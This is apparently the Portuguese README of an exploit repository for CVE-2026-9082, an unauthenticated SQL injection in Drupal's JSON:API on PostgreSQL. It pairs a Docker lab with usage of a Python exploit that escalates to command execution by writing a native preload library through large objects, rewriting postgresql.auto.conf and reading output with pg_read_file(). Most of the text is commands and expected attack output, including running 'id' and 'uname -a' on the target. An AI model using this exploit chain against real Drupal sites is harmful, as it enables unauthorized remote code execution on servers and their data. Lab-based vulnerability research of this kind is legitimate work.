Exploit para CVE-2026-9082, uma injeção SQL no Drupal JSON:API PostgreSQL que escala para RCE via biblioteca de pré-carregamento, com laboratório local para testes.
Este repositório contém um laboratório local e um exploit curto para a injeção SQL PostgreSQL JSON:API do Drupal descrita no artigo da Ambionics.
A parte importante do exploit é a escalada no PostgreSQL: uma vez que a injeção pode avaliar uma expressão SELECT como superusuário do PostgreSQL, ele escreve uma biblioteca nativa de pré-carregamento através de large objects, recarrega postgresql.auto.conf, dispara session_preload_libraries e recupera a saída do comando com pg_read_file().
O exploit primeiro lê version() e constrói o bloco mágico do módulo PostgreSQL para a versão principal detectada. Ele lida com os layouts ABI dos módulos do PostgreSQL 12, 13-14, 15-17 e 18+. O compilador local ainda deve produzir um objeto compartilhado para a mesma arquitetura de CPU do servidor PostgreSQL alvo.
O laboratório usa PostgreSQL 18.4, a versão mais recente do PostgreSQL no momento da escrita. O caminho de escalada do PostgreSQL foi testado do PostgreSQL 12.20 ao PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
O laboratório usa:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
O Drupal está conectado ao PostgreSQL como superusuário postgres, para que a injeção SQL apenas com SELECT possa ser escalada para RCE.
docker compose version
python3 --version
cc --version
Exemplo de saída:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Construir e iniciar os contêineres:
docker compose build --quiet
docker compose up -d
Saída esperada:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Aguardar o Drupal ficar saudável:
docker compose ps
Saída esperada:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
O laboratório escuta em:
http://127.0.0.1:8089
Verificar a versão do PostgreSQL:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
Saída esperada:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Verificar se o JSON:API expõe o artigo semeado:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
Saída esperada:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
Saída esperada:
Successfully installed requests-...
Executar id através da injeção SQL JSON:API não autenticada:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
Saída esperada:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Executar outro comando:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
Saída esperada:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Parar contêineres, mas manter o volume do banco de dados:
docker compose down
Parar contêineres e excluir o volume do banco de dados:
docker compose down -v